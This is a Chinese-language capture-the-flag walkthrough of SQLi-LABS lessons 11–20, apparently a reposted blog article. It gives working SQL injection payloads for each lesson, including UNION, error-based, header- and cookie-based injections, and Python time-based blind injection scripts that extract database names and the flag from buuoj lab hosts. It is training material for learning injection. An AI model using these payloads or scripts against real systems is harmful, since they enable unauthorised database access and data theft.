SQLi-LABS(11~20关详解)
SQLi-LABS Less-11
查看題目環(huán)境
首先可以看到這題傳入正確的賬號(hào)密碼,會(huì)有數(shù)據(jù)回顯
測(cè)試注入點(diǎn)
嘗試post
uname=admin'通過(guò)報(bào)錯(cuò)語(yǔ)句可以發(fā)現(xiàn)用單引號(hào)即可閉合
post
頁(yè)面正常顯示數(shù)據(jù)
post
頁(yè)面無(wú)數(shù)據(jù)顯示
由此可以判斷出:此處具有uname處存在Sql注入漏洞
SQL注入
因?yàn)榍懊鏈y(cè)得具有回顯,所以采取union聯(lián)合查詢
流程為
查找列數(shù)
uname=admin' order by 2 #“#” 用于注釋掉sql語(yǔ)句后面的內(nèi)容,最終查出返回的列數(shù)為2列(列數(shù)一個(gè)一個(gè)試,最大的一個(gè)數(shù),且不報(bào)Unknown column ‘*’ in ‘order clause’)
查詢數(shù)據(jù)庫(kù)
uname=-1' union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)#這邊id傳入一個(gè)數(shù)據(jù)庫(kù)中沒(méi)有的值即可,因?yàn)槿绻菙?shù)據(jù)庫(kù)中存在的值,即會(huì)返回多條記錄,會(huì)顯示前一個(gè)找到的值,而我們想要的將無(wú)法顯示。
同時(shí)我們使用GROUP_CONCAT將查詢到的數(shù)據(jù)庫(kù)名拼接顯示
查詢數(shù)據(jù)庫(kù)中的表
uname=-1' union select 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )#查表中的字段
uname=-1' union select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')#查數(shù)據(jù)
uname=-1' union select 1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)#SQLi-LABS Less-12
查看題目環(huán)境
首先可以看到這題傳入正確的賬號(hào)密碼,會(huì)有數(shù)據(jù)回顯
測(cè)試注入點(diǎn)
嘗試post
uname=admin"通過(guò)報(bào)錯(cuò)語(yǔ)句可以發(fā)現(xiàn)他服務(wù)器端的sql語(yǔ)句是用")閉合的
post
頁(yè)面正常顯示數(shù)據(jù)
post
頁(yè)面無(wú)數(shù)據(jù)顯示
由此可以判斷出:此處具有uname處存在Sql注入漏洞
SQL注入
因?yàn)榍懊鏈y(cè)得具有回顯,所以采取union聯(lián)合查詢
流程為
查找列數(shù)
uname=admin") order by 2 #“#” 用于注釋掉sql語(yǔ)句后面的內(nèi)容,最終查出返回的列數(shù)為2列(列數(shù)一個(gè)一個(gè)試,最大的一個(gè)數(shù),且不報(bào)Unknown column ‘*’ in ‘order clause’)
查詢數(shù)據(jù)庫(kù)
uname=-1") union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)#這邊id傳入一個(gè)數(shù)據(jù)庫(kù)中沒(méi)有的值即可,因?yàn)槿绻菙?shù)據(jù)庫(kù)中存在的值,即會(huì)返回多條記錄,會(huì)顯示前一個(gè)找到的值,而我們想要的將無(wú)法顯示。
同時(shí)我們使用GROUP_CONCAT將查詢到的數(shù)據(jù)庫(kù)名拼接顯示
查詢數(shù)據(jù)庫(kù)中的表
uname=-1") union select 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )#查表中的字段
uname=-1") union select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')#查數(shù)據(jù)
uname=-1") union select 1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)#SQLi-LABS Less-13
查看題目環(huán)境
首先可以看到這題傳入賬號(hào)密碼,并不會(huì)有回顯的數(shù)據(jù),所以這題不能用聯(lián)合查詢
測(cè)試注入點(diǎn)
嘗試post
uname=admin'通過(guò)報(bào)錯(cuò)語(yǔ)句可以發(fā)現(xiàn)他服務(wù)器端的sql語(yǔ)句是用‘)閉合的
同時(shí)因?yàn)椴淮嬖诨仫@的數(shù)據(jù),所以可以嘗試報(bào)錯(cuò)注入
post
頁(yè)面正常顯示數(shù)據(jù)
post
uname=admin") and ‘1’=‘2’ #
頁(yè)面無(wú)數(shù)據(jù)顯示
由此可以判斷出:此處具有uname處存在Sql注入漏洞
SQL注入
因?yàn)榍懊鏈y(cè)得沒(méi)有回顯,但又報(bào)錯(cuò)信息,所以使用報(bào)錯(cuò)注入
流程為
查詢數(shù)據(jù)庫(kù)
uname=admin') and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #通過(guò)報(bào)錯(cuò)注入,因?yàn)樗袛?shù)據(jù)庫(kù)拼接的長(zhǎng)度大于了64個(gè)字符,所以使用limit 一個(gè)一個(gè)數(shù)據(jù)庫(kù)查
查詢數(shù)據(jù)庫(kù)中的表
uname=admin') and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #查表中的字段
uname=admin') and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #查數(shù)據(jù)
uname=admin') and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #SQLi-LABS Less-14
查看題目環(huán)境
首先可以看到這題傳入賬號(hào)密碼或者嘗試引號(hào)閉合,并不會(huì)有回顯的數(shù)據(jù),也不有報(bào)錯(cuò)信息,所以這題不能用聯(lián)合查詢和報(bào)錯(cuò)注入
測(cè)試注入點(diǎn)
嘗試使用盲注測(cè)試腳本
import requests import time ss = time.time() url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-14/" data={'uname':"admin\" and sleep(5) #",'passwd':'admin' } t=requests.post(url,data)if time.time()-ss>=4:print("is Time")由此可以判斷出:此處具有uname處存在Sql盲注漏洞
SQL注入
使用腳本的sleep函數(shù)時(shí)間自行控制,因?yàn)椴煌?wù)器的響應(yīng)時(shí)間不同,sleep時(shí)間越久,越準(zhǔn)確。因?yàn)槿魋leep時(shí)間短了,有可能因?yàn)楸旧矸?wù)器響應(yīng)較慢導(dǎo)致爆破出來(lái)的值錯(cuò)誤
時(shí)間盲注腳本
import requests import time flag = '' table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-14/" while True:for i in table:ss = time.time()data_database = {'uname':'''admin\" and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_table = {'uname':'''admin\" and ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_column = {'uname':'''admin\" and ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_flag = {'uname':'''admin\" and ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}#t=requests.post(url,data_database)#t=requests.post(url,data_table)#t=requests.post(url,data_column)t=requests.post(url,data_flag)if time.time()-ss>=4:flag += iprint (flag) breakSQLi-LABS Less-15
查看題目環(huán)境
首先可以看到這題傳入賬號(hào)密碼或者嘗試引號(hào)閉合,并不會(huì)有回顯的數(shù)據(jù),也不有報(bào)錯(cuò)信息,所以這題不能用聯(lián)合查詢和報(bào)錯(cuò)注入
測(cè)試注入點(diǎn)
嘗試使用盲注測(cè)試腳本,主要 為了測(cè)試如何去閉合前面內(nèi)容,來(lái)構(gòu)造出正確的sql語(yǔ)句
import requests import time ss = time.time() url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-15/" data={'uname':"admin' and sleep(5) #",'passwd':'admin' } t=requests.post(url,data) if time.time()-ss>=4:print("is Time")由此可以判斷出:此處具有uname處存在Sql盲注漏洞
SQL注入
使用腳本的sleep函數(shù)時(shí)間自行控制,因?yàn)椴煌?wù)器的響應(yīng)時(shí)間不同,sleep時(shí)間越久,越準(zhǔn)確。因?yàn)槿魋leep時(shí)間短了,有可能因?yàn)楸旧矸?wù)器響應(yīng)較慢導(dǎo)致爆破出來(lái)的值錯(cuò)誤
時(shí)間盲注腳本
import requests import time flag = '' table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-15/" while True:for i in table:ss = time.time()data_database = {'uname':'''admin' and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_table = {'uname':'''admin' and ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_column = {'uname':'''admin' and ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_flag = {'uname':'''admin' and ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}#t=requests.post(url,data_database)#t=requests.post(url,data_table)#t=requests.post(url,data_column)t=requests.post(url,data_flag)if time.time()-ss>=4:flag += iprint (flag)breakSQLi-LABS Less-16
查看題目環(huán)境
首先可以看到這題傳入賬號(hào)密碼或者嘗試引號(hào)閉合,并不會(huì)有回顯的數(shù)據(jù),也不有報(bào)錯(cuò)信息,所以這題不能用聯(lián)合查詢和報(bào)錯(cuò)注入
測(cè)試注入點(diǎn)
嘗試使用盲注測(cè)試腳本,主要 為了測(cè)試如何去閉合前面內(nèi)容,來(lái)構(gòu)造出正確的sql語(yǔ)句
import requests import timess = time.time() url="http://83152ef4-5545-4380-bb72-f2aabfa6e179.node1.buuoj.cn/Less-16/" data={'uname':"admin\") and sleep(5) #",'passwd':'admin' } t=requests.post(url,data) if time.time()-ss>=4:print("is Time")由此可以判斷出:此處具有uname處存在Sql盲注漏洞
SQL注入
使用腳本的sleep函數(shù)時(shí)間自行控制,因?yàn)椴煌?wù)器的響應(yīng)時(shí)間不同,sleep時(shí)間越久,越準(zhǔn)確。因?yàn)槿魋leep時(shí)間短了,有可能因?yàn)楸旧矸?wù)器響應(yīng)較慢導(dǎo)致爆破出來(lái)的值錯(cuò)誤
如果數(shù)據(jù)庫(kù)中的內(nèi)容不在table內(nèi),可以直接使用ascii表來(lái)作為table,設(shè)置常見(jiàn)table是為了腳本跑的更快
時(shí)間盲注腳本
import requests import time flag = '' table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" url="http://83152ef4-5545-4380-bb72-f2aabfa6e179.node1.buuoj.cn/Less-16/" while True:for i in table:ss = time.time()data_database = {'uname':'''admin") and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_table = {'uname':'''admin") and ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_column = {'uname':'''admin") and ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_flag = {'uname':'''admin") and ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}#t=requests.post(url,data_database)#t=requests.post(url,data_table)#t=requests.post(url,data_column)t=requests.post(url,data_flag)if time.time()-ss>=4:flag += iprint (flag)breakSQLi-LABS Less-17
查看題目環(huán)境
首先可以看到這題傳入賬號(hào)和想要重置的密碼,當(dāng)傳入合法的輸入時(shí),會(huì)提示你密碼修改成功
測(cè)試注入點(diǎn)
嘗試post
uname=admin&passwd=admin'通過(guò)報(bào)錯(cuò)語(yǔ)句可以發(fā)現(xiàn)他服務(wù)器端的sql語(yǔ)句
由此可以判斷出,在passwd處存在報(bào)錯(cuò)注入,且可用單引號(hào)閉合
SQL注入
查詢數(shù)據(jù)庫(kù)
uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #通過(guò)報(bào)錯(cuò)注入,因?yàn)樗袛?shù)據(jù)庫(kù)拼接的長(zhǎng)度大于了64個(gè)字符,所以使用limit 逐個(gè)查詢
查詢數(shù)據(jù)庫(kù)中的表
uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #查表中的字段
uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #查數(shù)據(jù)
uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) #SQLi-LABS Less-18
查看題目環(huán)境
登陸給我回顯的數(shù)據(jù)是我的User Agent。
嘗試bp抓包
可以看到我們發(fā)送請(qǐng)求的時(shí)候?qū)⑽覀兊腢ser-Agent傳入到了服務(wù)器端,然后記錄到了數(shù)據(jù)庫(kù)里面。
測(cè)試注入點(diǎn)
嘗試控制User-Agent
User-Agent=1 User-Agent=1'通過(guò)報(bào)錯(cuò)語(yǔ)句可以發(fā)現(xiàn)他可以使用單引號(hào)閉合,又因?yàn)闆](méi)有具體數(shù)據(jù)的回顯
由此可以判斷出,存在報(bào)錯(cuò)注入
SQL注入
查詢數(shù)據(jù)庫(kù)
User-Agent=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1通過(guò)報(bào)錯(cuò)注入,因?yàn)樗袛?shù)據(jù)庫(kù)拼接的長(zhǎng)度大于了64個(gè)字符,所以使用limit 逐個(gè)查詢
查詢數(shù)據(jù)庫(kù)中的表
User-Agent=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1查表中的字段
User-Agent=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1查數(shù)據(jù)
User-Agent=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1SQLi-LABS Less-19
查看題目環(huán)境
登陸給我回顯的數(shù)據(jù)是我的Referer。
可以想到我們發(fā)送請(qǐng)求的時(shí)候?qū)⑽覀兊腞eferert傳入到了服務(wù)器端,然后記錄到了數(shù)據(jù)庫(kù)里面。
測(cè)試注入點(diǎn)
嘗試控制Referer
Referer=1 Referer=1'通過(guò)報(bào)錯(cuò)語(yǔ)句可以發(fā)現(xiàn)他可以使用單引號(hào)閉合,又因?yàn)闆](méi)有具體數(shù)據(jù)的回顯
由此可以判斷出,存在報(bào)錯(cuò)注入
SQL注入
查詢數(shù)據(jù)庫(kù)
Referer=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1通過(guò)報(bào)錯(cuò)注入,因?yàn)樗袛?shù)據(jù)庫(kù)拼接的長(zhǎng)度大于了64個(gè)字符,所以使用limit 逐個(gè)查詢
查詢數(shù)據(jù)庫(kù)中的表
Referer=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1查表中的字段
Referer=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1查數(shù)據(jù)
Referer=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1SQLi-LABS Less-20
查看題目環(huán)境
登陸給我回顯的數(shù)據(jù)是I LOVE YOU COOKIES。
嘗試bp抓包
猜測(cè)應(yīng)該是將我們的cookie傳入到了服務(wù)器端,然后記錄到了數(shù)據(jù)庫(kù)里面。
測(cè)試注入點(diǎn)
嘗試Cookie= uname=admin發(fā)現(xiàn)有回顯數(shù)據(jù)
嘗試
報(bào)錯(cuò)信息如下
通過(guò)報(bào)錯(cuò)語(yǔ)句可以發(fā)現(xiàn)他服務(wù)器端的sql語(yǔ)句是用單引號(hào)閉合的
因?yàn)橛性敿?xì)數(shù)據(jù)回顯,所以判斷可以使用Union聯(lián)合查詢
SQL注入
因?yàn)榍懊鏈y(cè)得具有回顯,所以采取union聯(lián)合查詢
流程為
查找列數(shù)
Cookie: uname=admin' order by 3 #–+用于注釋掉sql語(yǔ)句后面的內(nèi)容,最終查出返回的列數(shù)為3列(列數(shù)一個(gè)一個(gè)試,最大的一個(gè)數(shù),且不報(bào)Unknown column ‘*’ in ‘order clause’)
查詢數(shù)據(jù)庫(kù)
Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) #這邊uname傳入一個(gè)數(shù)據(jù)庫(kù)中沒(méi)有的值即可,因?yàn)槿绻菙?shù)據(jù)庫(kù)中存在的值,即會(huì)返回多條記錄,會(huì)顯示前一個(gè)找到的值,而我們想要的將無(wú)法顯示。
同時(shí)我們使用GROUP_CONCAT將查詢到的數(shù)據(jù)庫(kù)名拼接顯示
查詢數(shù)據(jù)庫(kù)中的表
Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" ) #查表中的字段
Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag') #查數(shù)據(jù)
Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag) #總結(jié)
以上是生活随笔為你收集整理的SQLi-LABS(11~20关详解)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: SQLi-LABS(1~10关详解)
- 下一篇: SQLi-LABS(21~25a关详解)